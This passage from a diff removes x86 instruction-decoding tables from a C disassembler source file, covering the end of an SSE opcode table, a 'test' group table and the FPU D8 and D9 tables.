- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1
- { INSTRUCTION_TYPE_SSE, "cmpss", AM_V|OT_ss, AM_W|OT_ss, AM_I|OT_b, 1 }, // 0xc2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd5
- { INSTRUCTION_TYPE_SSE, "movq2dq", AM_V|OT_dq, AM_Q|OT_q, FLAGS_NONE, 1 }, // 0xd6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xda
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xde
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe5
- { INSTRUCTION_TYPE_SSE, "cvtdq2pd", AM_V|OT_pd, AM_W|OT_q, FLAGS_NONE, 1 }, // 0xe6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xea
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xeb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xec
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xed
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xee
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xef
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff
-};
-
-
-// Just a lame hack to provide additional arguments to group 3 "test"
-
-INST inst_table_test[2] = {
- { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 },
-};
-
-// FPU instruction tables
-
-/*
- * Tables are composed in two parts:
- *
- * - 1st part (index 0-7) are identified by the reg field of MODRM byte
- * if the MODRM is < 0xc0. reg field can be used directly as an index to table.
- *
- * - 2nd part (8 - 0x47) are identified by the MODRM byte itself. In that case,
- * the index can be calculated by "index = MODRM - 0xb8"
- *
- */
-INST inst_table_fpu_d8[72] = {
- { INSTRUCTION_TYPE_FADD, "fadds", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FMUL, "fmuls", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FCOM, "fcoms", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FCOMP, "fcomps", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FSUB, "fsubs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FSUBR, "fsubrs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FDIV, "fdivs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FDIVR, "fdivrs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
-};
-INST inst_table_fpu_d9[72] = {
- { INSTRUCTION_TYPE_FLD, "flds", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- // XXX: operand type is not correct
- { INSTRUCTION_TYPE_FPU, "fldenv", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, "fldcw", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, "fstenv", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, "fstcw", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FLD, "fld", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FXCH, "fxch", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fnop", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fchs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fabs", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "ftst", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fxam", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fld1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fldl2t", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fldl2e", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fldpi", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fldlg2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fldln2", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fldz", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "f2xm1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fyl2x", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fptan", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fpatan", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fxtract", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fprem1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fdecstp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fincstp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fprem", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fyl2xp1", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fsqrt", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fsincos", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "frndint", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fscale", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fsin", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fcos", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
-};
-INST inst_table_fpu_da[72] = {
